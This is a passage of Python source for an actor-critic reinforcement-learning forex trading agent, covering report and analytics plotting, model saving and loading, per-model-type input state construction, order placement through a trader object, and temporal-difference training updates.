['lightseagreen','mintcream']\r\n        \r\n        plt.pie(self.reward_punish*100/np.sum(self.reward_punish), radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = int((self.reward_punish[0]/np.sum(self.reward_punish))*100)\r\n        except:\r\n            textvalue = 0\r\n        tcolor = colors[0]\r\n        if textvalue > 99:\r\n            textvalue = 99\r\n            \r\n        elif textvalue < 50:\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.55,y=-0.15,s=(str(textvalue)+'%').rjust(3,'0'),color = tcolor,weight = 600,size = 26)\r\n                \r\n        ##############################################################\r\n        plt.subplot(3,5,12)\r\n        plt.title('Units')\r\n        colors = ['slategray','sandybrown','lightgreen','skyblue']\r\n        \r\n        plt.pie(self.unit_desc, radius=1, labels=['100','1000','10000','100000'], autopct='%1.0f%%',pctdistance=0.8,colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        ##############################################################\r\n        plt.subplot(3,5,13)\r\n        plt.title('Learning rate')\r\n        colors = ['slategray','sandybrown','lightgreen','skyblue','steelblue']\r\n        \r\n        plt.pie(self.lrate_desc, radius=1, labels=['1e-1','1e-2','1e-3','1e-4','1e-5'], autopct='%1.0f%%',pctdistance=0.8,colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        ##############################################################\r\n        plt.subplot(3,5,(4,10),facecolor = 'whitesmoke')\r\n        plt.bar(xl, y[:,0],color='sandybrown',edgecolor='whitesmoke' ,width = width,label = 'Buy')\r\n        plt.bar(xl, y[:,1],color='lightgreen',edgecolor='whitesmoke' , width = width,bottom=y[:,0],label = 'Sell')\r\n        plt.bar(xl, y[:,2],color='skyblue',edgecolor='whitesmoke' , width = width,bottom=y[:,1]+y[:,0],label = 'Close 1')\r\n        plt.bar(xl, y[:,3],color='steelblue',edgecolor='whitesmoke' , width = width,bottom=y[:,2]+y[:,1]+y[:,0],label = 'CloseAll')\r\n\r\n        plt.ylim(0,np.max(np.sum(y,axis = 1))*1.5) \r\n        plt.xticks(xl,xlbl)\r\n        plt.legend(ncol=4,loc = 'best')#,bbox_to_anchor=(0.5,0.05 ))\r\n        plt.tight_layout()\r\n        plt.subplots_adjust(top=0.9)\r\n        #plt.subplots_adjust(top=0.9, bottom=0.1, left=0.1, right=0.9, hspace=0.5,wspace=0.5)\r\n        fig.savefig(self.current_path+'/results/'+self.id+'_'+self.modtype+'_Report.png')\r\n        #plt.show()\r\n        plt.close(fig)\r\n        ##############################################################\r\n        ##############################################################\r\n        fig1 = plt.figure(5,figsize = (16,9))\r\n        #fig1.clf()\r\n        #xl = [0,1,2,3,4,5]\r\n        xl = [i for i in range(self.num_curr)]\r\n        yl = [0,1,2,3,4,5,6,7,8,9]\r\n        #xlbl = ['EURGBP','EURJPY','EURUSD','GBPJPY','GBPUSD','USDJPY']\r\n        xlbl = [item.replace('_','') for item in self.curr_pair_list]\r\n        ylbl = ['1 min','2 min','4 min','8 min','16 min','32 min','1 hr 4 min','2 hr 8 min','4 hr 16 min','8 hr 32 min']\r\n        #plt.figure(2,figsize = (16,9))\r\n        plt.subplot(2,5,1)\r\n        plt.matshow(self.analytic[:,:,0],fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nTotal Long volume\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,2)\r\n        plt.matshow(self.analytic[:,:,2],fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nTotal Long profits\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,3)\r\n        plt.matshow(np.divide(self.analytic[:,:,0],self.analytic[:,:,4]),fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nAvg Long volume\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,4)\r\n        plt.matshow(np.divide(self.analytic[:,:,2],self.analytic[:,:,4]),fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nAvg Long profits\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,5)\r\n        plt.matshow(self.analytic[:,:,4],fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nTotal Long transactions\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,6)\r\n        plt.matshow(self.analytic[:,:,1],fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nTotal Short volume\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,7)\r\n        plt.matshow(self.analytic[:,:,3],fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nTotal Short profits\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,8)\r\n        plt.matshow(np.divide(self.analytic[:,:,1],self.analytic[:,:,5]),fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nAvg Short volume\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,9)\r\n        plt.matshow(np.divide(self.analytic[:,:,3],self.analytic[:,:,5]),fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nAvg Short profits\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.subplot(2,5,10)\r\n        plt.matshow(self.analytic[:,:,5],fignum = False)\r\n        plt.xticks(xl,xlbl,rotation = 'vertical')\r\n        plt.yticks(yl,ylbl)\r\n        plt.title('\\nTotal Short transactions\\n\\n\\n')\r\n        plt.colorbar(fraction=0.08, pad=0.04)\r\n        plt.suptitle('Model '+self.modtype+' Analytics')\r\n        #plt.subplots_adjust(top=0.9, bottom=0.05, left=0.1, right=0.9, hspace=0.01,wspace=0.5)\r\n        plt.tight_layout()\r\n        \r\n        fig1.savefig(self.current_path+'/results/'+self.id+'_'+self.modtype+'_Analytics.png')\r\n        plt.close(fig1)\r\n        ##############################################################\r\n        ##############################################################\r\n        #fig2 = plt.figure(6,figsize = (9,9))\r\n        #myFmt = mdates.DateFormatter('%Y-%m-%d %H:%M:%S')\r\n        #plt.ylabel('Current Level')\r\n        #plt.xlabel('Time')\r\n        #plt.gca().xaxis.set_major_formatter(myFmt)\r\n        #plt.plot(self.datelist,np.array(self.levellist))\r\n        #plt.gca().xaxis.set_major_locator(mdates.AutoDateLocator(minticks = 10))\r\n        #plt.gcf().autofmt_xdate()\r\n        #plt.title('Model '+ self.modtype +' Level Details')\r\n        #fig2.savefig(self.current_path+'/results/'+self.modtype+'_LevelInfo.png')\r\n        #plt.close(fig2)\r\n        ##############################################################\r\n        ##############################################################\r\n        #fig3 = plt.figure(5,figsize = (9,9))\r\n        #myFmt = mdates.DateFormatter('%Y-%m-%d %H:%M:%S')\r\n        #plt.ylabel('Decision Probability')\r\n        #plt.xlabel('Time')\r\n        #plt.gca().xaxis.set_major_formatter(myFmt)\r\n        #plt.plot(self.datelist,np.array(self.levellist))\r\n        #plt.gca().xaxis.set_major_locator(mdates.AutoDateLocator(minticks = 10))\r\n        #plt.gcf().autofmt_xdate()\r\n        #plt.title('Model '+ self.modtype +' Level Details')\r\n        #fig2.savefig(self.current_path+'/results/'+self.modtype+'_LevelInfo.png')\r\n        #plt.close(fig2)\r\n        \r\n    def model_create(self):\r\n        self.mlmod.create_model(self.model_param)\r\n        self.model = self.mlmod.model\r\n        self.mid = self.mlmod.mid\r\n        self.layerlist = []\r\n        for layer in self.model.layers:\r\n            self.layerlist.append(str(layer).split(' ')[0].split('.')[-1])\r\n        self.complexity_cal()\r\n        \r\n    \r\n \r\n    def model_save(self):\r\n        location = self.current_path +'/models/'+'actor_'+self.id+'_'+self.modtype\r\n        self.actor.save(location+'.h5')\r\n        plot_model(self.actor, to_file=location+'.png', show_shapes = True, show_layer_names = False)\r\n        \r\n        location = self.current_path +'/models/'+'critic_'+self.id+'_'+self.modtype\r\n        self.critic.save(location+'.h5')\r\n        plot_model(self.critic, to_file=location+'.png', show_shapes = True, show_layer_names = False)\r\n        \r\n        json_data = {'over_score':self.over_score,\\\r\n        'sharpe':self.sharpe,\\\r\n        'asset_swing_val':self.asset_swing_val,\\\r\n        'reward_punish':self.reward_punish.tolist(),\\\r\n        'success_fail':self.success_fail.tolist(),\\\r\n        'move_counter':self.move_counter.tolist(),\\\r\n        'exploration':self.random_desc.tolist(),\r\n        'lrate':self.lrate_desc.tolist(),\r\n        'unit':self.unit_desc.tolist()}\r\n               \r\n        with open(self.current_path +'/models/'+self.id+'_'+self.modtype+'_actor_envdata.txt', \"wb\") as fp:\r\n            pickle.dump(self.actor_envlist, fp)\r\n        with open(self.current_path +'/models/'+self.id+'_'+self.modtype+'_critic_envdata.txt', \"wb\") as fp:\r\n            pickle.dump(self.critic_envlist, fp)\r\n           \r\n               \r\n        with open(self.current_path +'/models/'+self.id+'_'+self.modtype+'_rdata.txt', 'w') as outfile:\r\n            json.dump(json_data, outfile)  \r\n            \r\n    def model_load(self):\r\n        \r\n        self.mid_actor = int(time.time())\r\n        self.actor = load_model(self.modpath[0])\r\n        self.mid_critic = int(time.time())\r\n        self.critic = load_model(self.modpath[1])\r\n        self.lrate = K.get_value(self.actor.optimizer.lr)\r\n        #print(self.lrate_list[1].type)\r\n        self.sel_action[3] = self.lrate_list.index(float(str(self.lrate)))\r\n        \r\n        #self.sel_action[3] = 1\r\n        self.layerlist = []\r\n        for layer in self.actor.layers:\r\n            self.layerlist.append(str(layer).split(' ')[0].split('.')[-1])\r\n        self.complexity_cal()\r\n        try:\r\n            if os.path.isfile(self.current_path +'/models/'+self.id+'_'+self.modtype+'_rdata.txt'):\r\n                with open(self.current_path +'/models/'+self.id+'_'+self.modtype+'_rdata.txt') as infile:\r\n                    jdata = json.load(infile)\r\n                self.over_score = jdata['over_score']\r\n                self.sharpe = jdata['sharpe']\r\n                self.asset_swing_val = jdata['asset_swing_val']\r\n                self.reward_punish = np.array(jdata['reward_punish'])\r\n                self.success_fail = np.array(jdata['success_fail']).astype(int)\r\n                self.move_counter = np.array(jdata['move_counter']).astype(int)\r\n                self.random_desc = np.array(jdata['exploration']).astype(int)\r\n                self.lrate_desc = np.array(jdata['lrate']).astype(int)\r\n                self.unit_desc = np.array(jdata['unit']).astype(int)\r\n        except:\r\n            pass\r\n        if self.modtype.split('-')[0] == 1:\r\n            self.lrate_desc[self.sel_action[3]] = 96\r\n        try:\r\n            if os.path.isfile(self.current_path +'/models/'+self.id+'_'+self.modtype+'_actor_envdata.txt'):\r\n                with open(self.current_path +'/models/'+self.id+'_'+self.modtype+'_actor_envdata.txt', \"wb\") as fp:\r\n                    self.actor_envlist = pickle.load(fp)\r\n            if os.path.isfile(self.current_path +'/models/'+self.id+'_'+self.modtype+'_critic_envdata.txt'):\r\n                with open(self.current_path +'/models/'+self.id+'_'+self.modtype+'_critic_envdata.txt', \"wb\") as fp:\r\n                    self.critic_envlist = pickle.load(fp)\r\n        except:\r\n            pass\r\n        #print(self.complexity,self.complex_num)\r\n        #print(self.modpath[0])\r\n        #print('model')\r\n        \r\n        #print(self.complexity,self.complex_num)\r\n    def input_create(self,new_state,actor = True):\r\n        #print('-',end=' ')\r\n        print('###################')\r\n        print('Create Input')\r\n        print(datetime.datetime.now())\r\n        curr_time = datetime.datetime.now()\r\n        self.time_info[0] = curr_time.hour\r\n        self.time_info[1] = curr_time.minute\r\n        state = new_state\r\n        \r\n        if self.modtype == '1-1-1-1-1':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.orderdaily.reshape((1,-1)),self.ordermonthly.reshape((1,-1)),self.ordersemiannually.reshape((1,-1)),\\\r\n                (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)),\\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.orderdaily.reshape((1,-1)),self.ordermonthly.reshape((1,-1)),self.ordersemiannually.reshape((1,-1)),\\\r\n                (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)),\\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1))),axis = 1)\r\n            \r\n            #print(self.new_state)\r\n        elif self.modtype == '2-1-1-1-1':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.orderdaily.reshape((1,-1)),self.ordermonthly.reshape((1,-1)),self.ordersemiannually.reshape((1,-1)),\\\r\n                (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)),\\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.orderdaily.reshape((1,-1)),self.ordermonthly.reshape((1,-1)),self.ordersemiannually.reshape((1,-1)),\\\r\n                (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)),\\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1)),self.epsilon_in.reshape((1,-1)),\\\r\n                                             self.lrate_in.reshape((1,-1))),axis = 1)\r\n                                             \r\n        elif self.modtype == '1-1-2-1-1':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),(self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),(self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1))),axis = 1)\r\n        \r\n        elif self.modtype == '2-1-2-1-1':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),(self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),(self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1)),self.epsilon_in.reshape((1,-1)),\\\r\n                                             self.lrate_in.reshape((1,-1))),axis = 1)\r\n        \r\n        elif self.modtype == '1-1-2-2-1':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1))),axis = 1)\r\n        \r\n        elif self.modtype == '2-1-2-2-1':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.signaldaily.reshape((1,-1)),self.signalmonthly.reshape((1,-1)),self.signalsemiannually.reshape((1,-1)),\\\r\n                self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1)),self.epsilon_in.reshape((1,-1)),\\\r\n                                             self.lrate_in.reshape((1,-1))),axis = 1)\r\n        elif self.modtype == '1-1-2-2-2':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1))),axis = 1)\r\n                                             \r\n        elif self.modtype == '2-1-2-2-2':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             (self.current_pos[:,:-1]/(self.transact_memsize*max(self.unit_list))).reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1)),self.epsilon_in.reshape((1,-1)),\\\r\n                                             self.lrate_in.reshape((1,-1))),axis = 1)\r\n        \r\n        elif self.modtype == '1-1-2-3-2':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1))),axis = 1)\r\n                                             \r\n        elif self.modtype == '2-1-2-3-2':\r\n            if actor:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)\r\n            else:\r\n                new_state = np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),\\\r\n                                             self.mem_transact.reshape((1,-1)), \\\r\n                                             (np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1)),self.epsilon_in.reshape((1,-1)),\\\r\n                                             self.lrate_in.reshape((1,-1))),axis = 1)    \r\n        elif self.modtype == '1-2-3-2-2':\r\n            for i in range(self.num_curr):\r\n                if i == 0:\r\n                    x = self.curr_pair_history_data_daily[i].values.reshape((self.time_count[0],10))\r\n                    y = self.curr_pair_history_data_monthly[i].values.reshape((self.time_count[1],10))\r\n                    z = self.curr_pair_history_data_semiannually[i].values.reshape((self.time_count[2],10))\r\n                    #print(z.shape)\r\n                else:\r\n                    x = np.concatenate((x,self.curr_pair_history_data_daily[i].values.\\\r\n                                        reshape((self.time_count[0],10))),axis = 1)\r\n                    y = np.concatenate((y,self.curr_pair_history_data_monthly[i].values.\\\r\n                                        reshape((self.time_count[1],10))),axis = 1)\r\n                    z = np.concatenate((z,self.curr_pair_history_data_semiannually[i].values.\\\r\n                                        reshape((self.time_count[2],10))),axis = 1)\r\n                    #print(z.shape)\r\n                #print(y.shape)\r\n            #x = np.divide(x[1:,:],x[:-1,:])\r\n            if actor:\r\n                print(x.size,y.size)\r\n                new_state = [x.reshape((1,self.time_count[0],10*self.num_curr)),y.reshape((1,self.time_count[1],10*self.num_curr)),z.reshape((1,self.time_count[2],10*self.num_curr)),\\\r\n                              np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)),(np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)]\r\n            else:\r\n                new_state = [x.reshape((1,self.time_count[0],10*self.num_curr)),y.reshape((1,self.time_count[1],10*self.num_curr)),z.reshape((1,self.time_count[2],10*self.num_curr)),\\\r\n                              np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)),(np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1))),axis = 1)]\r\n        \r\n        elif self.modtype == '2-2-3-2-2':\r\n            for i in range(self.num_curr):\r\n                if i == 0:\r\n                    x = self.curr_pair_history_data_daily[i].values.reshape((self.time_count[0],10))\r\n                    y = self.curr_pair_history_data_monthly[i].values.reshape((self.time_count[1],10))\r\n                    z = self.curr_pair_history_data_semiannually[i].values.reshape((self.time_count[2],10))\r\n                else:\r\n                    x = np.concatenate((x,self.curr_pair_history_data_daily[i].values.\\\r\n                                        reshape((self.time_count[0],10))),axis = 1)\r\n                    y = np.concatenate((y,self.curr_pair_history_data_monthly[i].values.\\\r\n                                        reshape((self.time_count[1],10))),axis = 1)\r\n                    z = np.concatenate((z,self.curr_pair_history_data_semiannually[i].values.\\\r\n                                        reshape((self.time_count[2],10))),axis = 1)\r\n            #x = np.divide(x[1:,:],x[:-1,:])\r\n            if actor:\r\n                new_state = [x.reshape((1,self.time_count[0],10*self.num_curr)),y.reshape((1,self.time_count[1],10*self.num_curr)),z.reshape((1,self.time_count[2],10*self.num_curr)),\\\r\n                              np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)),(np.array(self.lastnavs)/self.funds).reshape((1,-1))),axis = 1)]\r\n            else:\r\n                new_state = [x.reshape((1,self.time_count[0],10*self.num_curr)),y.reshape((1,self.time_count[1],10*self.num_curr)),z.reshape((1,self.time_count[2],10*self.num_curr)),\\\r\n                              np.concatenate((self.time_info.reshape((1,-1)),self.current_rate.reshape((1,-1)),self.mem_transact.reshape((1,-1)),(np.array(self.lastnavs)/self.funds).reshape((1,-1)),\\\r\n                                             self.unit_in.reshape((1,-1)),self.epsilon_in.reshape((1,-1)),\\\r\n                                             self.lrate_in.reshape((1,-1))),axis = 1)]\r\n        #print(new_state)\r\n        print('Input created')\r\n        print(datetime.datetime.now())\r\n        print('###################')\r\n        return state,new_state\r\n    def output_create(self):\r\n        #print('-',end=' ')\r\n        #print(action)\r\n        #act = np.argmax(action)\r\n        #print('In output')\r\n        #print(act)\r\n        print('###################')\r\n        print('Create Output')\r\n        print(datetime.datetime.now())\r\n        \r\n        if self.sel_action[0] == 0:\r\n            return\r\n        #print('Single System')\r\n        ticker_index = self.sel_action[0]//4\r\n        act_index = self.sel_action[0]%4\r\n        #print(ticker_index,act_index)\r\n        #print('##########TMEM#############')               \r\n        #print(self.t_memlist)    \r\n        if act_index == 1:\r\n            print('Buy %i %s'%(self.units,self.curr_pair_list[ticker_index]))\r\n            print(len(self.t_memlist[ticker_index]))\r\n            #self.variable_cost = 1/100000\r\n            if len(self.t_memlist[ticker_index]) == self.transact_memsize:\r\n                if self.t_memlist[ticker_index][0][2] == 0:\r\n                    self.penalty = True\r\n                    print('Buy length penalty')\r\n                else:\r\n                    print('Buy order created length mode')\r\n                    self.trader.create_buy_order(self.curr_pair_list[ticker_index],self.units)\r\n            else:\r\n                print('Buy order created')\r\n                self.trader.create_buy_order(self.curr_pair_list[ticker_index],self.units)\r\n        elif act_index == 2:\r\n            print(len(self.t_memlist[ticker_index]))\r\n            print('Sell %i %s'%(self.units,self.curr_pair_list[ticker_index]))\r\n            #self.variable_cost = 1/100000\r\n            if len(self.t_memlist[ticker_index]) == self.transact_memsize:\r\n                if self.t_memlist[ticker_index][0][1] == 0:\r\n                    self.penalty = True\r\n                    print('Sell length penalty')\r\n                else:\r\n                    print('Sell order created length mode')\r\n                    self.trader.create_sell_order(self.curr_pair_list[ticker_index],self.units)\r\n            else:\r\n                print('Sell order created')\r\n                self.trader.create_sell_order(self.curr_pair_list[ticker_index],self.units)\r\n        elif act_index == 3:\r\n            print('CloseAll',self.curr_pair_list[ticker_index])\r\n            r = self.trader.close_positions(self.curr_pair_list[ticker_index],'ALL')\r\n            if r == -1:\r\n                self.penalty = True\r\n                #self.variable_cost = 1/100000\r\n                print('Close All penalty')\r\n            else:\r\n                self.variable_cost = 0.0\r\n        else:\r\n            ticker_index -= 1\r\n            print('CloseFirst',self.curr_pair_list[ticker_index])\r\n            if self.units > max(self.current_pos[ticker_index,0],self.current_pos[ticker_index,1]):\r\n                r = self.trader.close_positions(self.curr_pair_list[ticker_index],'ALL')\r\n            else:\r\n                r = self.trader.close_positions(self.curr_pair_list[ticker_index],str(self.units))\r\n            if r == -1:\r\n                self.penalty = True\r\n                #self.variable_cost = 1/100000\r\n                print('Close 1 penalty')\r\n            else:\r\n                self.variable_cost = 0.0\r\n        \r\n        print('Output created')\r\n        print(datetime.datetime.now())\r\n        print('###################')\r\n    def ac_learning(self):\r\n        if self.random:\r\n            seq = np.random.randint(0,len(self.actor_envlist[1:]),len(self.actor_envlist[1:]))\r\n        else:\r\n            seq = np.arange(len(self.actor_envlist[1:]))\r\n        actor_inp = []\r\n        actor_out = []\r\n        critic_inp = []\r\n        critic_out = []\r\n        print('##############################')\r\n        print(datetime.datetime.now())\r\n        print('AC Learning')\r\n        for i in range(len(seq)):\r\n            state, action, reward, new_state, game_over = self.critic_envlist[seq[i]+1]\r\n            actor_state,actor_action = self.actor_envlist[seq[i]+1]\r\n            #inp_data = state\r\n            #print('\\n')\r\n            #print(i,action,sel_action)\r\n            #print('\\n')\r\n            \r\n            #print(state)\r\n            #print(new_state)\r\n            \r\n            if isinstance(new_state,list):\r\n                \r\n                reward_pred = np.ravel(self.critic.predict(state))\r\n                next_reward_pred = np.ravel(self.critic.predict(new_state))\r\n                \r\n                action_list = self.actor.predict(actor_state)\r\n                action_list = [np.ravel(item) for item in action_list]\r\n                                \r\n            else:\r\n                \r\n                reward_pred = np.ravel(self.critic.predict(state.reshape((1,-1))))\r\n                next_reward_pred = np.ravel(self.critic.predict(new_state.reshape((1,-1))))\r\n                #print(actor_state.shape)\r\n                action_list = self.actor.predict(actor_state)\r\n                action_list = [np.ravel(item) for item in action_list]\r\n            #print(action_list)\r\n            td_target = self.reward + self.discount*next_reward_pred\r\n            td_error = td_target - reward_pred\r\n            #print(td_error)\r\n            for j in range(len(reward_pred)):\r\n                action_list[j][actor_action[j]] += td_error[j]\r\n                        \r\n            critic_inp.append(state)\r\n            critic_out.append(td_target)\r\n            actor_inp.append(actor_state)\r\n            actor_out.append(action_list)\r\n            \r\n        actor_output_data = []\r\n        for i in range(len(actor_out[0])):\r\n                #print(inp[i][0].shape,inp[i][1].shape)\r\n                actor_output_data.append(np.vstack([data[i] for data in actor_out]))\r\n                \r\n        if isinstance(new_state,list):\r\n            #print(inp)\r\n            critic_input_data = []\r\n            #critic_output_data = []\r\n            actor_input_data = []\r\n            \r\n            \r\n            for i in range(len(critic_inp[0])):\r\n                #print(inp[i][0].shape,inp[i][1].shape)\r\n                critic_input_data.append(np.vstack([data[i] for data in critic_inp]))\r\n                            \r\n            for i in range(len(actor_inp[0])):\r\n                #print(inp[i][0].shape,inp[i][1].shape)\r\n                actor_input_data.append(np.vstack([data[i] for data in actor_inp]))\r\n            \r\n                \r\n            self.critic.fit(critic_input_data,np.array(critic_out),batch_size = 25,epochs = 1, verbose = 1)\r\n            self.actor.fit(actor_input_data,actor_output_data,batch_size = 25,epochs = 1, verbose = 1)\r\n        else:\r\n            